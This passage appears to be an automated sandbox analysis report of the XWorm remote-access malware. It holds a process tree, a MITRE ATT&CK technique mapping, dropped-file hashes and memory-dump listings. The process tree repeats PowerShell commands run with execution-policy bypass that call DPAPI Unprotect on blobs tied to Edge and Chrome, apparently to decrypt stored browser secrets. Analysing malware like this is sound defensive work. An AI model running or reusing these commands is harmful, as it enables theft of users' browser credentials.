                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5352
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              PID:5908
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5160
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              PID:3580
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4788
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              PID:3364
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,13,118,218,153,15,247,85,82,22,224,16,180,98,15,35,49,189,190,233,106,184,44,56,49,164,212,210,43,81,40,6,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,197,190,93,167,81,169,196,0,50,182,143,182,68,69,251,70,54,123,223,172,3,83,135,67,61,205,203,8,232,65,37,202,48,0,0,0,239,231,9,208,240,108,65,224,54,226,38,247,141,170,127,246,8,97,230,68,219,240,149,216,186,247,227,200,182,125,161,135,219,249,9,50,255,169,69,68,230,35,4,241,168,234,130,219,64,0,0,0,202,99,204,27,223,131,165,198,65,142,134,87,232,143,78,252,248,213,235,185,177,184,135,140,154,25,142,153,125,94,25,133,142,206,118,186,15,56,107,138,108,125,142,158,51,216,174,188,225,49,136,124,62,24,168,159,38,184,37,9,23,152,46,35), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2448
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')""
              2⤵
              • An obfuscated cmd.exe command-line is typically used to evade detection.
              PID:4836
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,180,203,247,105,175,138,111,75,165,50,250,80,152,207,169,45,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,196,180,165,129,34,89,44,95,9,205,176,175,144,48,14,29,43,42,215,115,217,88,99,114,204,220,208,163,177,220,96,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,147,2,188,114,83,70,155,43,68,223,88,38,111,184,178,39,91,117,48,137,196,110,185,139,199,180,99,59,172,66,63,103,48,0,0,0,184,142,215,68,99,112,88,7,108,140,225,92,237,138,56,227,114,91,243,83,237,93,147,198,138,156,244,49,188,91,243,80,0,96,127,95,137,95,227,102,130,149,207,57,90,25,76,71,64,0,0,0,104,155,68,29,33,109,150,205,214,180,142,37,215,34,28,225,145,221,95,9,253,230,146,160,187,179,26,106,148,210,48,114,126,92,102,47,86,46,166,54,54,98,68,252,207,237,215,79,89,52,39,44,244,206,205,46,44,238,226,200,210,171,116,222), $null, 'CurrentUser')"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3648
          • C:\Windows\system32\msiexec.exe
            C:\Windows\system32\msiexec.exe /V
            1⤵
              PID:2724
            • C:\Users\Admin\AppData\Local\XWormClient.exe
              C:\Users\Admin\AppData\Local\XWormClient.exe
              1⤵
              • Executes dropped EXE
              PID:5876
            • C:\Users\Admin\AppData\Local\XWormClient.exe
              C:\Users\Admin\AppData\Local\XWormClient.exe
              1⤵
              • Executes dropped EXE
              PID:2692
            • C:\Users\Admin\AppData\Local\XWormClient.exe
              C:\Users\Admin\AppData\Local\XWormClient.exe
              1⤵
              • Executes dropped EXE
              PID:5140

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Event Triggered Execution

                  1
                  T1546

                  Netsh Helper DLL

                  1
                  T1546.007

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Privilege Escalation

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Event Triggered Execution

                  1
                  T1546

                  Netsh Helper DLL

                  1
                  T1546.007

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Defense Evasion

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Impair Defenses

                  1
                  T1562

                  Disable or Modify Tools

                  1
                  T1562.001

                  Modify Registry

                  2
                  T1112

                  Credential Access

                  Credentials from Password Stores

                  1
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Unsecured Credentials

                  1
                  T1552

                  Credentials In Files

                  1
                  T1552.001

                  Discovery

                  Browser Information Discovery

                  1
                  T1217

                  Query Registry

                  2
                  T1012

                  System Information Discovery

                  2
                  T1082

                  System Network Configuration Discovery

                  1
                  T1016

                  Wi-Fi Discovery

                  1
                  T1016.002

                  Lateral Movement

                  Collection

                  Data from Local System

                  2
                  T1005

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  XWormClient.exe.log
                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XWormClient.exe.log
                  • Size 654B
                  • SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  powershell.exe.log
                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 4KB
                  • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 0ca8100f47821f674565f0413248cf17a6c7ebb93fe539ee41cc1fc436e36c8b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 fff272d5cd1c7f2124842caf4a275c570dccfcb809ddf4e2676bdc31cf1ef62e
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 476da7b2266f9176d80a9228b6b5bbbd1b4a505428dbbcddf575fb4b43acce64
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 51a57629152bb61ca8e4dd57551a1e571e0ee8b524bacb2b020d22e64de5cd2b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 b7967af988b0cbf5a68780f75f33e283c5d51332e88ff7f9cf385d36a6923f9d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 78e4cd511019a9fc80c435c864586bc2301ba9c82f04d959e6ed7ca305a36bda
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 a9cf5b10c9b24259e507798bf04d6b152b2781a78ed18feab08f529b624839ca
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 37ed2279e5a8319d9f18e1b9d5a81c3229916d265f3c4980f6aa103d993c4e11
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 d5ad22402e84a33bf9f7025fe58781c5c2e489b1e5b9739b92400030cb9511eb
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 2637efcb7443697c58ebe2a93e18c3099550959f20c57e957198991742ce53d3
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 fb485201330a5ca14dc2d7a80ecf88b5c9e53d59929f9234c3ccf7548e2fe73f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 379725b221f4f46fd50b6cc7dfbe9b5ba0733f46d6f3d8b842803267790962a7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 feec270c82110e74a237e8154fd5af0d970bcbb0ecaebe0030fe4902dad6a442
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 ddc7cd152b69e2ce521614a6b1541a514baca5d560b74f0ab585bea8677240a3
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  __PSScriptPolicyTest_4tosvln0.w1m.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tosvln0.w1m.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  ss_1772512758820.png
                  • Path C:\Users\Admin\AppData\Local\Temp\ss_1772512758820.png
                  • Size 525KB
                  • SHA256 a5a916c019bbfdd893f501141c8565c6e701f82b9e166c72579273959856e53c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  saassa.exe
                  • Path C:\Users\Admin\Downloads\saassa.exe
                  • Size 83KB
                  • SHA256 deda40173cd9285e6f2cdae9296832763974f225a5a91d4cb7f173a8faa66adf
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  memory/748-202-0x0000024D0DE70000-0x0000024D0DECD000-memory.dmp
                  Download

                  memory/884-208-0x0000021200410000-0x000002120046D000-memory.dmp
                  Download

                  memory/996-151-0x000001FFBB500000-0x000001FFBB55D000-memory.dmp
                  Download

                  memory/996-153-0x000001FFBB680000-0x000001FFBB692000-memory.dmp
                  Download

                  memory/996-152-0x000001FFBB560000-0x000001FFBB56C000-memory.dmp
                  Download

                  memory/1076-117-0x00000219C6B90000-0x00000219C6BED000-memory.dmp
                  Download

                  memory/1076-119-0x00000219DF230000-0x00000219DF242000-memory.dmp
                  Download

                  memory/1076-118-0x00000219C6CB0000-0x00000219C6CBC000-memory.dmp
                  Download

                  memory/1532-209-0x00000255A07A0000-0x00000255A07FD000-memory.dmp
                  Download

                  memory/1576-196-0x0000024D51150000-0x0000024D511AD000-memory.dmp
                  Download

                  memory/1576-198-0x0000024D69570000-0x0000024D69582000-memory.dmp
                  Download

                  memory/1576-197-0x0000024D69350000-0x0000024D6935C000-memory.dmp
                  Download

                  memory/1772-199-0x0000027F56CB0000-0x0000027F56D0D000-memory.dmp
                  Download

                  memory/1904-200-0x000001FA29B00000-0x000001FA29B5D000-memory.dmp
                  Download

                  memory/2080-206-0x000002118F910000-0x000002118F96D000-memory.dmp
                  Download

                  memory/2448-269-0x00000228183A0000-0x00000228183AC000-memory.dmp
                  Download

                  memory/2448-268-0x0000022816AC0000-0x0000022816B1D000-memory.dmp
                  Download

                  memory/2448-270-0x00000228188D0000-0x00000228188E2000-memory.dmp
                  Download

                  memory/2692-296-0x00000000009E0000-0x0000000000A11000-memory.dmp
                  Download

                  memory/2692-297-0x0000000002630000-0x000000000263C000-memory.dmp
                  Download

                  memory/3448-207-0x0000025B3DD30000-0x0000025B3DD8D000-memory.dmp
                  Download

                  memory/3648-281-0x00000105AC7B0000-0x00000105AC80D000-memory.dmp
                  Download

                  memory/3648-282-0x00000105AC8D0000-0x00000105AC8DC000-memory.dmp
                  Download

                  memory/3648-283-0x00000105ACCD0000-0x00000105ACCE2000-memory.dmp
                  Download

                  memory/4092-78-0x0000026E97D50000-0x0000026E97DAD000-memory.dmp
                  Download

                  memory/4092-79-0x0000026E96250000-0x0000026E9625C000-memory.dmp
                  Download

                  memory/4092-80-0x0000026E97E70000-0x0000026E97E82000-memory.dmp
                  Download

                  memory/4212-17-0x000001CA7D1D0000-0x000001CA7D1EC000-memory.dmp
                  Download

                  memory/4212-21-0x000001CA7D1F0000-0x000001CA7D1F6000-memory.dmp
                  Download

                  memory/4212-15-0x000001CA7D0C0000-0x000001CA7D173000-memory.dmp
                  Download

                  memory/4212-16-0x000001CA7D1A0000-0x000001CA7D1AA000-memory.dmp
                  Download

                  memory/4212-26-0x000001CA7B0E0000-0x000001CA7B0EC000-memory.dmp
                  Download

                  memory/4212-18-0x000001CA7D1B0000-0x000001CA7D1BA000-memory.dmp
                  Download

                  memory/4212-27-0x000001CA7CFA0000-0x000001CA7CFB2000-memory.dmp
                  Download

                  memory/4212-20-0x000001CA7D1C0000-0x000001CA7D1C8000-memory.dmp
                  Download

                  memory/4212-1-0x000001CA7CFF0000-0x000001CA7D012000-memory.dmp
                  Download

                  memory/4212-25-0x000001CA7B060000-0x000001CA7B0BD000-memory.dmp
                  Download

                  memory/4212-14-0x000001CA7D0A0000-0x000001CA7D0BC000-memory.dmp
                  Download

                  memory/4212-19-0x000001CA7D210000-0x000001CA7D22A000-memory.dmp
                  Download

                  memory/4212-22-0x000001CA7D200000-0x000001CA7D20A000-memory.dmp
                  Download

                  memory/4752-135-0x0000013588A00000-0x0000013588A0C000-memory.dmp
                  Download

                  memory/4752-136-0x0000013588BE0000-0x0000013588BF2000-memory.dmp
                  Download

                  memory/4752-134-0x0000013588930000-0x000001358898D000-memory.dmp
                  Download

                  memory/4964-185-0x000001C6BA780000-0x000001C6BA7DD000-memory.dmp
                  Download

                  memory/4964-187-0x000001C6BAAA0000-0x000001C6BAAB2000-memory.dmp
                  Download

                  memory/4964-183-0x000001C6D3090000-0x000001C6D30E0000-memory.dmp
                  Download

                  memory/4964-186-0x000001C6BA870000-0x000001C6BA87C000-memory.dmp
                  Download

                  memory/5076-205-0x00000270BAC50000-0x00000270BACAD000-memory.dmp
                  Download

                  memory/5096-45-0x000002A1EA5B0000-0x000002A1EA5C2000-memory.dmp
                  Download

                  memory/5096-43-0x000002A1E9DE0000-0x000002A1E9E3D000-memory.dmp
                  Download

                  memory/5096-44-0x000002A1EA370000-0x000002A1EA37C000-memory.dmp
                  Download

                  memory/5140-62-0x0000024E98550000-0x0000024E98562000-memory.dmp
                  Download

                  memory/5140-60-0x0000024E97EC0000-0x0000024E97F1D000-memory.dmp
                  Download

                  memory/5140-61-0x0000024E98310000-0x0000024E9831C000-memory.dmp
                  Download

                  memory/5160-254-0x000001DD3F950000-0x000001DD3F95C000-memory.dmp
                  Download

                  memory/5160-253-0x000001DD3F850000-0x000001DD3F8AD000-memory.dmp
                  Download

                  memory/5160-255-0x000001DD57B10000-0x000001DD57B22000-memory.dmp
                  Download

                  memory/5352-237-0x0000019131080000-0x000001913108C000-memory.dmp
                  Download

                  memory/5352-238-0x0000019132950000-0x0000019132962000-memory.dmp
                  Download

                  memory/5352-236-0x0000019130FD0000-0x000001913102D000-memory.dmp
                  Download

                  memory/5464-201-0x00000215D5480000-0x00000215D54DD000-memory.dmp
                  Download

                  memory/5724-210-0x0000023B57EF0000-0x0000023B57F4D000-memory.dmp
                  Download

                  memory/5772-167-0x000001B58C850000-0x000001B58C8AD000-memory.dmp
                  Download

                  memory/5772-168-0x000001B58C960000-0x000001B58C96C000-memory.dmp
                  Download

                  memory/5772-169-0x000001B5A5000000-0x000001B5A5012000-memory.dmp
                  Download

                  memory/5828-219-0x00000185412D0000-0x000001854132D000-memory.dmp
                  Download

                  memory/5828-220-0x00000185413D0000-0x00000185413DC000-memory.dmp
                  Download

                  memory/5828-221-0x0000018559A70000-0x0000018559A82000-memory.dmp
                  Download

                  memory/5876-174-0x0000000000BE0000-0x0000000000C11000-memory.dmp
                  Download

                  memory/5876-175-0x0000000000C60000-0x0000000000C6C000-memory.dmp
                  Download

                  memory/5896-84-0x00000000005B0000-0x00000000005CC000-memory.dmp
                  Download

                  memory/5896-203-0x0000000000E90000-0x0000000000EC1000-memory.dmp
                  Download

                  memory/5896-204-0x00000000026E0000-0x00000000026EC000-memory.dmp
                  Download

                  memory/6072-98-0x0000013FCEE20000-0x0000013FCEED3000-memory.dmp
                  Download

                  memory/6072-100-0x0000013FB4D70000-0x0000013FB4DCD000-memory.dmp
                  Download

                  memory/6072-102-0x0000013FB6690000-0x0000013FB66A2000-memory.dmp
                  Download

                  memory/6072-101-0x0000013FB4E30000-0x0000013FB4E3C000-memory.dmp
                  Download